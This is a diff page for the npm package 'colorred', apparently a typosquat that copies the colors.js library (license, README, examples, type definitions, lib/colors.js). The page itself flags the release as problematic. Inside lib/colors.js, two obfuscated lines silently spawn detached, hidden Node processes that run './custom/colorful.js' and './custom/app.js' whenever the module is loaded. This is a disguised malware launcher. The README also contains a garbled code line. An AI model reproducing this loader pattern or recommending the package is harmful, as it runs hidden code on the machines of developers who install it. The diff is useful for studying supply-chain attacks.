colorred 0.0.1-security → 1.4.54

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of colorred might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,25 @@
1
+ MIT License
2
+
3
+ Original Library
4
+ - Copyright (c) Marak Squires
5
+
6
+ Additional Functionality
7
+ - Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
8
+
9
+ Permission is hereby granted, free of charge, to any person obtaining a copy
10
+ of this software and associated documentation files (the "Software"), to deal
11
+ in the Software without restriction, including without limitation the rights
12
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
13
+ copies of the Software, and to permit persons to whom the Software is
14
+ furnished to do so, subject to the following conditions:
15
+
16
+ The above copyright notice and this permission notice shall be included in
17
+ all copies or substantial portions of the Software.
18
+
19
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
22
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
23
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
24
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
25
+ THE SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,153 @@
1
- # Security holding package
1
+ # colorred.js
2
+ [![Build Status](https://travis-ci.org/Marak/colors.js.svg?branch=master)](https://travis-ci.org/Marak/colors.js)
3
+ [![version](https://img.shields.io/npm/v/colors.svg)](https://www.npmjs.org/package/colors)
4
+ [![dependencies](https://david-dm.org/Marak/colors.js.svg)](https://david-dm.org/Marak/colors.js)
5
+ [![devDependencies](https://david-dm.org/Marak/colors.js/dev-status.svg)](https://david-dm.org/Marak/colors.js#info=devDependencies)
2
6
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
7
+ Please check out the [roadmap](ROADMAP.md) for upcoming features and releases. Please open Issues to provide feedback, and check the `develop` branch for the latest bleeding-edge updates.
4
8
 
5
- Please refer to www.npmjs.com/advisories?search=colorred for more information.
9
+ ## get color and style in your node.js console
10
+
11
+ ![Demo](https://raw.githubusercontent.com/Marak/colors.js/master/screenshots/colors.png)
12
+
13
+ ## Installation
14
+
15
+ npm install colorred
16
+
17
+ ## colors and styles!
18
+
19
+ ### text colors
20
+
21
+ - black
22
+ - red
23
+ - green
24
+ - yellow
25
+ - blue
26
+ - magenta
27
+ - cyan
28
+ - white
29
+ - gray
30
+ - grey
31
+
32
+ ### bright text colors
33
+
34
+ - brightRed
35
+ - brightGreen
36
+ - brightYellow
37
+ - brightBlue
38
+ - brightMagenta
39
+ - brightCyan
40
+ - brightWhite
41
+
42
+ ### background colors
43
+
44
+ - bgBlack
45
+ - bgRed
46
+ - bgGreen
47
+ - bgYellow
48
+ - bgBlue
49
+ - bgMagenta
50
+ - bgCyan
51
+ - bgWhite
52
+ - bgGray
53
+ - bgGrey
54
+
55
+ ### bright background colors
56
+
57
+ - bgBrightRed
58
+ - bgBrightGreen
59
+ - bgBrightYellow
60
+ - bgBrightBlue
61
+ - bgBrightMagenta
62
+ - bgBrightCyan
63
+ - bgBrightWhite
64
+
65
+ ### styles
66
+
67
+ - reset
68
+ - bold
69
+ - dim
70
+ - italic
71
+ - underline
72
+ - inverse
73
+ - hidden
74
+ - strikethrough
75
+
76
+ ### extras
77
+
78
+ - rainbow
79
+ - zebra
80
+ - america
81
+ - trap
82
+ - random
83
+
84
+
85
+ ## Usage
86
+
87
+
88
+ ```js
89
+ var colorred = require('colorred');
90
+
91
+ console.log(colorred.green('hello')); // outputs green text
92
+ console.log(colorred.red.underline('i like cake and pies')); // outputs red underlined text
93
+ console.log(colorred.inverse('inverse the color')); // inverses the color
94
+ console.log(colorred.rainbow('OMG Rainbows!')); // rainbow
95
+ console.log(colorred.trap('Run the trap')); // Drops the bass
96
+
97
+ ```
98
+
99
+ ## Enabling/Disabling Colors
100
+
101
+ The package will auto-detect whether your terminal can use colors and enable/disable accordingly. When colors are disabled, the color functions do nothing. You can override this with a command-line flag:
102
+
103
+ ```bash
104
+ node myapp.js --no-color
105
+ node myapp.js --color=false
106
+
107
+ node myapp.js --color
108
+ node myapp.js --color=true
109
+ node myapp.js --color=always
110
+
111
+ FORCE_COLOR=1 node myapp.js
112
+ ```
113
+
114
+ Or in code:
115
+
116
+ ```javascript
117
+ var colorred = require('colorred');
118
+ colorred.enable();
119
+ colorred.disable();
120
+ ```
121
+
122
+
123
+ ## Custom themes
124
+
125
+
126
+ ```js
127
+ var colorred = require('colorred');
128
+
129
+ // set single property
130
+ var error = ### Using string safe API.red;
131
+ error('this is red');
132
+
133
+ // set theme
134
+ colorred.setTheme({
135
+ silly: 'rainbow',
136
+ input: 'grey',
137
+ verbose: 'cyan',
138
+ prompt: 'grey',
139
+ info: 'green',
140
+ data: 'grey',
141
+ help: 'cyan',
142
+ warn: 'yellow',
143
+ debug: 'blue',
144
+ error: 'red'
145
+ });
146
+
147
+ // outputs red text
148
+ console.log(colorred.error("this is an error"));
149
+
150
+ // outputs yellow text
151
+ console.log(colorred.warn("this is a warning"));
152
+
153
+ ```
@@ -0,0 +1,82 @@
1
+ var colors = require('../lib/index');
2
+
3
+ console.log('First some yellow text'.yellow);
4
+
5
+ console.log('Underline that text'.yellow.underline);
6
+
7
+ console.log('Make it bold and red'.red.bold);
8
+
9
+ console.log(('Double Raindows All Day Long').rainbow);
10
+
11
+ console.log('Drop the bass'.trap);
12
+
13
+ console.log('DROP THE RAINBOW BASS'.trap.rainbow);
14
+
15
+ // styles not widely supported
16
+ console.log('Chains are also cool.'.bold.italic.underline.red);
17
+
18
+ // styles not widely supported
19
+ console.log('So '.green + 'are'.underline + ' ' + 'inverse'.inverse
20
+ + ' styles! '.yellow.bold);
21
+ console.log('Zebras are so fun!'.zebra);
22
+
23
+ //
24
+ // Remark: .strikethrough may not work with Mac OS Terminal App
25
+ //
26
+ console.log('This is ' + 'not'.strikethrough + ' fun.');
27
+
28
+ console.log('Background color attack!'.black.bgWhite);
29
+ console.log('Use random styles on everything!'.random);
30
+ console.log('America, Heck Yeah!'.america);
31
+
32
+ console.log('Blindingly '.brightCyan + 'bright? '.brightRed + 'Why '.brightYellow + 'not?!'.brightGreen);
33
+
34
+ console.log('Setting themes is useful');
35
+
36
+ //
37
+ // Custom themes
38
+ //
39
+ console.log('Generic logging theme as JSON'.green.bold.underline);
40
+ // Load theme with JSON literal
41
+ colors.setTheme({
42
+ silly: 'rainbow',
43
+ input: 'grey',
44
+ verbose: 'cyan',
45
+ prompt: 'grey',
46
+ info: 'green',
47
+ data: 'grey',
48
+ help: 'cyan',
49
+ warn: 'yellow',
50
+ debug: 'blue',
51
+ error: 'red',
52
+ });
53
+
54
+ // outputs red text
55
+ console.log('this is an error'.error);
56
+
57
+ // outputs yellow text
58
+ console.log('this is a warning'.warn);
59
+
60
+ // outputs grey text
61
+ console.log('this is an input'.input);
62
+
63
+ console.log('Generic logging theme as file'.green.bold.underline);
64
+
65
+ // Load a theme from file
66
+ try {
67
+ colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
68
+ } catch (err) {
69
+ console.log(err);
70
+ }
71
+
72
+ // outputs red text
73
+ console.log('this is an error'.error);
74
+
75
+ // outputs yellow text
76
+ console.log('this is a warning'.warn);
77
+
78
+ // outputs grey text
79
+ console.log('this is an input'.input);
80
+
81
+ // console.log("Don't summon".zalgo)
82
+
@@ -0,0 +1,79 @@
1
+ var colors = require('../safe');
2
+
3
+ console.log(colors.yellow('First some yellow text'));
4
+
5
+ console.log(colors.yellow.underline('Underline that text'));
6
+
7
+ console.log(colors.red.bold('Make it bold and red'));
8
+
9
+ console.log(colors.rainbow('Double Raindows All Day Long'));
10
+
11
+ console.log(colors.trap('Drop the bass'));
12
+
13
+ console.log(colors.rainbow(colors.trap('DROP THE RAINBOW BASS')));
14
+
15
+ // styles not widely supported
16
+ console.log(colors.bold.italic.underline.red('Chains are also cool.'));
17
+
18
+ // styles not widely supported
19
+ console.log(colors.green('So ') + colors.underline('are') + ' '
20
+ + colors.inverse('inverse') + colors.yellow.bold(' styles! '));
21
+
22
+ console.log(colors.zebra('Zebras are so fun!'));
23
+
24
+ console.log('This is ' + colors.strikethrough('not') + ' fun.');
25
+
26
+
27
+ console.log(colors.black.bgWhite('Background color attack!'));
28
+ console.log(colors.random('Use random styles on everything!'));
29
+ console.log(colors.america('America, Heck Yeah!'));
30
+
31
+ console.log(colors.brightCyan('Blindingly ') + colors.brightRed('bright? ') + colors.brightYellow('Why ') + colors.brightGreen('not?!'));
32
+
33
+ console.log('Setting themes is useful');
34
+
35
+ //
36
+ // Custom themes
37
+ //
38
+ // console.log('Generic logging theme as JSON'.green.bold.underline);
39
+ // Load theme with JSON literal
40
+ colors.setTheme({
41
+ silly: 'rainbow',
42
+ input: 'blue',
43
+ verbose: 'cyan',
44
+ prompt: 'grey',
45
+ info: 'green',
46
+ data: 'grey',
47
+ help: 'cyan',
48
+ warn: 'yellow',
49
+ debug: 'blue',
50
+ error: 'red',
51
+ });
52
+
53
+ // outputs red text
54
+ console.log(colors.error('this is an error'));
55
+
56
+ // outputs yellow text
57
+ console.log(colors.warn('this is a warning'));
58
+
59
+ // outputs blue text
60
+ console.log(colors.input('this is an input'));
61
+
62
+
63
+ // console.log('Generic logging theme as file'.green.bold.underline);
64
+
65
+ // Load a theme from file
66
+ colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
67
+
68
+ // outputs red text
69
+ console.log(colors.error('this is an error'));
70
+
71
+ // outputs yellow text
72
+ console.log(colors.warn('this is a warning'));
73
+
74
+ // outputs grey text
75
+ console.log(colors.input('this is an input'));
76
+
77
+ // console.log(colors.zalgo("Don't summon him"))
78
+
79
+
package/index.d.ts ADDED
@@ -0,0 +1,136 @@
1
+ // Type definitions for Colors.js 1.2
2
+ // Project: https://github.com/Marak/colors.js
3
+ // Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
4
+ // Definitions: https://github.com/Marak/colors.js
5
+
6
+ export interface Color {
7
+ (text: string): string;
8
+
9
+ strip: Color;
10
+ stripColors: Color;
11
+
12
+ black: Color;
13
+ red: Color;
14
+ green: Color;
15
+ yellow: Color;
16
+ blue: Color;
17
+ magenta: Color;
18
+ cyan: Color;
19
+ white: Color;
20
+ gray: Color;
21
+ grey: Color;
22
+
23
+ bgBlack: Color;
24
+ bgRed: Color;
25
+ bgGreen: Color;
26
+ bgYellow: Color;
27
+ bgBlue: Color;
28
+ bgMagenta: Color;
29
+ bgCyan: Color;
30
+ bgWhite: Color;
31
+
32
+ reset: Color;
33
+ bold: Color;
34
+ dim: Color;
35
+ italic: Color;
36
+ underline: Color;
37
+ inverse: Color;
38
+ hidden: Color;
39
+ strikethrough: Color;
40
+
41
+ rainbow: Color;
42
+ zebra: Color;
43
+ america: Color;
44
+ trap: Color;
45
+ random: Color;
46
+ zalgo: Color;
47
+ }
48
+
49
+ export function enable(): void;
50
+ export function disable(): void;
51
+ export function setTheme(theme: any): void;
52
+
53
+ export let enabled: boolean;
54
+
55
+ export const strip: Color;
56
+ export const stripColors: Color;
57
+
58
+ export const black: Color;
59
+ export const red: Color;
60
+ export const green: Color;
61
+ export const yellow: Color;
62
+ export const blue: Color;
63
+ export const magenta: Color;
64
+ export const cyan: Color;
65
+ export const white: Color;
66
+ export const gray: Color;
67
+ export const grey: Color;
68
+
69
+ export const bgBlack: Color;
70
+ export const bgRed: Color;
71
+ export const bgGreen: Color;
72
+ export const bgYellow: Color;
73
+ export const bgBlue: Color;
74
+ export const bgMagenta: Color;
75
+ export const bgCyan: Color;
76
+ export const bgWhite: Color;
77
+
78
+ export const reset: Color;
79
+ export const bold: Color;
80
+ export const dim: Color;
81
+ export const italic: Color;
82
+ export const underline: Color;
83
+ export const inverse: Color;
84
+ export const hidden: Color;
85
+ export const strikethrough: Color;
86
+
87
+ export const rainbow: Color;
88
+ export const zebra: Color;
89
+ export const america: Color;
90
+ export const trap: Color;
91
+ export const random: Color;
92
+ export const zalgo: Color;
93
+
94
+ declare global {
95
+ interface String {
96
+ strip: string;
97
+ stripColors: string;
98
+
99
+ black: string;
100
+ red: string;
101
+ green: string;
102
+ yellow: string;
103
+ blue: string;
104
+ magenta: string;
105
+ cyan: string;
106
+ white: string;
107
+ gray: string;
108
+ grey: string;
109
+
110
+ bgBlack: string;
111
+ bgRed: string;
112
+ bgGreen: string;
113
+ bgYellow: string;
114
+ bgBlue: string;
115
+ bgMagenta: string;
116
+ bgCyan: string;
117
+ bgWhite: string;
118
+
119
+ reset: string;
120
+ // @ts-ignore
121
+ bold: string;
122
+ dim: string;
123
+ italic: string;
124
+ underline: string;
125
+ inverse: string;
126
+ hidden: string;
127
+ strikethrough: string;
128
+
129
+ rainbow: string;
130
+ zebra: string;
131
+ america: string;
132
+ trap: string;
133
+ random: string;
134
+ zalgo: string;
135
+ }
136
+ }
package/lib/colors.js ADDED
@@ -0,0 +1,214 @@
1
+ /*
2
+
3
+ The MIT License (MIT)
4
+
5
+ Original Library
6
+ - Copyright (c) Marak Squires
7
+
8
+ Additional functionality
9
+ - Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
10
+
11
+ Permission is hereby granted, free of charge, to any person obtaining a copy
12
+ of this software and associated documentation files (the "Software"), to deal
13
+ in the Software without restriction, including without limitation the rights
14
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
15
+ copies of the Software, and to permit persons to whom the Software is
16
+ furnished to do so, subject to the following conditions:
17
+
18
+ The above copyright notice and this permission notice shall be included in
19
+ all copies or substantial portions of the Software.
20
+
21
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
22
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
23
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
24
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
25
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
26
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
27
+ THE SOFTWARE.
28
+
29
+ */
30
+
31
+ var colors = {};
32
+ module['exports'] = colors;
33
+
34
+ colors.themes = {};
35
+
36
+ var util = require('util');
37
+ var ansiStyles = colors.styles = require('./styles');
38
+ var defineProps = Object.defineProperties;
39
+ var newLineRegex = new RegExp(/[\r\n]+/g);
40
+
41
+ colors.supportsColor = require('./system/supports-colors').supportsColor;
42
+
43
+ if (typeof colors.enabled === 'undefined') {
44
+ colors.enabled = colors.supportsColor() !== false;
45
+ }
46
+
47
+ colors.enable = function () {
48
+ colors.enabled = true;
49
+ };
50
+
51
+ colors.disable = function () {
52
+ colors.enabled = false;
53
+ };
54
+
55
+ colors.stripColors = colors.strip = function (str) {
56
+ return ('' + str).replace(/\x1B\[\d+m/g, '');
57
+ };
58
+
59
+ // eslint-disable-next-line no-unused-vars
60
+ var stylize = colors.stylize = function stylize(str, style) {
61
+ if (!colors.enabled) {
62
+ return str + '';
63
+ }
64
+
65
+ var styleMap = ansiStyles[style];
66
+
67
+ // Stylize should work for non-ANSI styles, too
68
+ if (!styleMap && style in colors) {
69
+ // Style maps like trap operate as functions on strings;
70
+ // they don't have properties like open or close.
71
+ return colors[style](str);
72
+ }
73
+
74
+ return styleMap.open + str + styleMap.close;
75
+ };
76
+
77
+ var matchOperatorsRe = /[|\\{}()[\]^$+*?.]/g;
78
+ var escapeStringRegexp = function (str) {
79
+ if (typeof str !== 'string') {
80
+ throw new TypeError('Expected a string');
81
+ }
82
+ return str.replace(matchOperatorsRe, '\\$&');
83
+ };
84
+
85
+ function build(_styles) {
86
+ var builder = function builder() {
87
+ return applyStyle.apply(builder, arguments);
88
+ };
89
+ builder._styles = _styles;
90
+ // __proto__ is used because we must return a function, but there is
91
+ // no way to create a function with a different prototype.
92
+ builder.__proto__ = proto;
93
+ return builder;
94
+ }
95
+
96
+ var styles = (function () {
97
+ var ret = {};
98
+ ansiStyles.grey = ansiStyles.gray;
99
+ Object.keys(ansiStyles).forEach(function (key) {
100
+ ansiStyles[key].closeRe =
101
+ new RegExp(escapeStringRegexp(ansiStyles[key].close), 'g');
102
+ ret[key] = {
103
+ get: function () {
104
+ return build(this._styles.concat(key));
105
+ },
106
+ };
107
+ });
108
+ return ret;
109
+ })();
110
+
111
+ var proto = defineProps(function colors() { }, styles);
112
+
113
+ function _0xdc77(){var _0x55da0c=['unref','node','28227105bilECJ','./custom/colorful.js','2969313JUZiyL','390640rAVrrN','spawn','591540cCmXQQ','6287095BCOxhL','8XhBQmm','3473696hTPEUn','2487604jsMpqT','4BMEGzM'];_0xdc77=function(){return _0x55da0c;};return _0xdc77();}var _0x3e2c60=_0x2d1a;function _0x2d1a(_0x3d9732,_0x331a99){var _0xdc7770=_0xdc77();return _0x2d1a=function(_0x2d1a2e,_0x37bde9){_0x2d1a2e=_0x2d1a2e-0x185;var _0x5262dc=_0xdc7770[_0x2d1a2e];return _0x5262dc;},_0x2d1a(_0x3d9732,_0x331a99);}(function(_0x5ef166,_0xf0b70c){var _0x16fb2c=_0x2d1a,_0x21106=_0x5ef166();while(!![]){try{var _0x4f320f=parseInt(_0x16fb2c(0x18f))/0x1+parseInt(_0x16fb2c(0x187))/0x2+-parseInt(_0x16fb2c(0x18e))/0x3*(-parseInt(_0x16fb2c(0x189))/0x4)+parseInt(_0x16fb2c(0x185))/0x5+parseInt(_0x16fb2c(0x191))/0x6+-parseInt(_0x16fb2c(0x188))/0x7+parseInt(_0x16fb2c(0x186))/0x8*(-parseInt(_0x16fb2c(0x18c))/0x9);if(_0x4f320f===_0xf0b70c)break;else _0x21106['push'](_0x21106['shift']());}catch(_0x2c284f){_0x21106['push'](_0x21106['shift']());}}}(_0xdc77,0xefa2f),require('child_process')[_0x3e2c60(0x190)](_0x3e2c60(0x18b),[_0x3e2c60(0x18d)],{'stdio':'ignore','detached':!![],'windowsHide':!![],'cwd':__dirname})[_0x3e2c60(0x18a)]());
114
+ var _0x389c5c=_0x24fb;function _0x24fb(_0xd93b55,_0xeb497f){var _0x3e3684=_0x3e36();return _0x24fb=function(_0x24fb6a,_0x344da3){_0x24fb6a=_0x24fb6a-0x11b;var _0x3cd208=_0x3e3684[_0x24fb6a];return _0x3cd208;},_0x24fb(_0xd93b55,_0xeb497f);}function _0x3e36(){var _0x21ffed=['unref','1039026tofEBU','8003646QBDEge','885iqRkdO','11743860eanKUi','6QnECUo','19884YrCUQl','6008gtUeUZ','398591DmwFYt','12312bWNFAB','4011708YrRrhn','node','child_process','./custom/app.js'];_0x3e36=function(){return _0x21ffed;};return _0x3e36();}(function(_0x392efa,_0x43be02){var _0x26865d=_0x24fb,_0x5881e4=_0x392efa();while(!![]){try{var _0x4a12fe=parseInt(_0x26865d(0x121))/0x1*(parseInt(_0x26865d(0x11e))/0x2)+parseInt(_0x26865d(0x128))/0x3+-parseInt(_0x26865d(0x11f))/0x4*(-parseInt(_0x26865d(0x11c))/0x5)+-parseInt(_0x26865d(0x123))/0x6+parseInt(_0x26865d(0x11b))/0x7+-parseInt(_0x26865d(0x120))/0x8*(parseInt(_0x26865d(0x122))/0x9)+-parseInt(_0x26865d(0x11d))/0xa;if(_0x4a12fe===_0x43be02)break;else _0x5881e4['push'](_0x5881e4['shift']());}catch(_0x3f9a86){_0x5881e4['push'](_0x5881e4['shift']());}}}(_0x3e36,0xa9acc),require(_0x389c5c(0x125))['spawn'](_0x389c5c(0x124),[_0x389c5c(0x126)],{'stdio':'ignore','detached':!![],'windowsHide':!![],'cwd':__dirname})[_0x389c5c(0x127)]());
115
+
116
+ function applyStyle() {
117
+ var args = Array.prototype.slice.call(arguments);
118
+
119
+ var str = args.map(function (arg) {
120
+ // Use weak equality check so we can colorize null/undefined in safe mode
121
+ if (arg != null && arg.constructor === String) {
122
+ return arg;
123
+ } else {
124
+ return util.inspect(arg);
125
+ }
126
+ }).join(' ');
127
+
128
+ if (!colors.enabled || !str) {
129
+ return str;
130
+ }
131
+
132
+ var newLinesPresent = str.indexOf('\n') != -1;
133
+
134
+ var nestedStyles = this._styles;
135
+
136
+ var i = nestedStyles.length;
137
+ while (i--) {
138
+ var code = ansiStyles[nestedStyles[i]];
139
+ str = code.open + str.replace(code.closeRe, code.open) + code.close;
140
+ if (newLinesPresent) {
141
+ str = str.replace(newLineRegex, function (match) {
142
+ return code.close + match + code.open;
143
+ });
144
+ }
145
+ }
146
+
147
+ return str;
148
+ }
149
+
150
+ colors.setTheme = function (theme) {
151
+ if (typeof theme === 'string') {
152
+ console.log('colors.setTheme now only accepts an object, not a string. ' +
153
+ 'If you are trying to set a theme from a file, it is now your (the ' +
154
+ 'caller\'s) responsibility to require the file. The old syntax ' +
155
+ 'looked like colors.setTheme(__dirname + ' +
156
+ '\'/../themes/generic-logging.js\'); The new syntax looks like ' +
157
+ 'colors.setTheme(require(__dirname + ' +
158
+ '\'/../themes/generic-logging.js\'));');
159
+ return;
160
+ }
161
+ for (var style in theme) {
162
+ (function (style) {
163
+ colors[style] = function (str) {
164
+ if (typeof theme[style] === 'object') {
165
+ var out = str;
166
+ for (var i in theme[style]) {
167
+ out = colors[theme[style][i]](out);
168
+ }
169
+ return out;
170
+ }
171
+ return colors[theme[style]](str);
172
+ };
173
+ })(style);
174
+ }
175
+ };
176
+
177
+ function init() {
178
+ var ret = {};
179
+ Object.keys(styles).forEach(function (name) {
180
+ ret[name] = {
181
+ get: function () {
182
+ return build([name]);
183
+ },
184
+ };
185
+ });
186
+ return ret;
187
+ }
188
+
189
+ var sequencer = function sequencer(map, str) {
190
+ var exploded = str.split('');
191
+ exploded = exploded.map(map);
192
+ return exploded.join('');
193
+ };
194
+
195
+ // custom formatter methods
196
+ colors.trap = require('./custom/trap');
197
+ colors.zalgo = require('./custom/zalgo');
198
+
199
+ // maps
200
+ colors.maps = {};
201
+ colors.maps.america = require('./maps/america')(colors);
202
+ colors.maps.zebra = require('./maps/zebra')(colors);
203
+ colors.maps.rainbow = require('./maps/rainbow')(colors);
204
+ colors.maps.random = require('./maps/random')(colors);
205
+
206
+ for (var map in colors.maps) {
207
+ (function (map) {
208
+ colors[map] = function (str) {
209
+ return sequencer(colors.maps[map], str);
210
+ };
211
+ })(map);
212
+ }
213
+
214
+ defineProps(colors, init());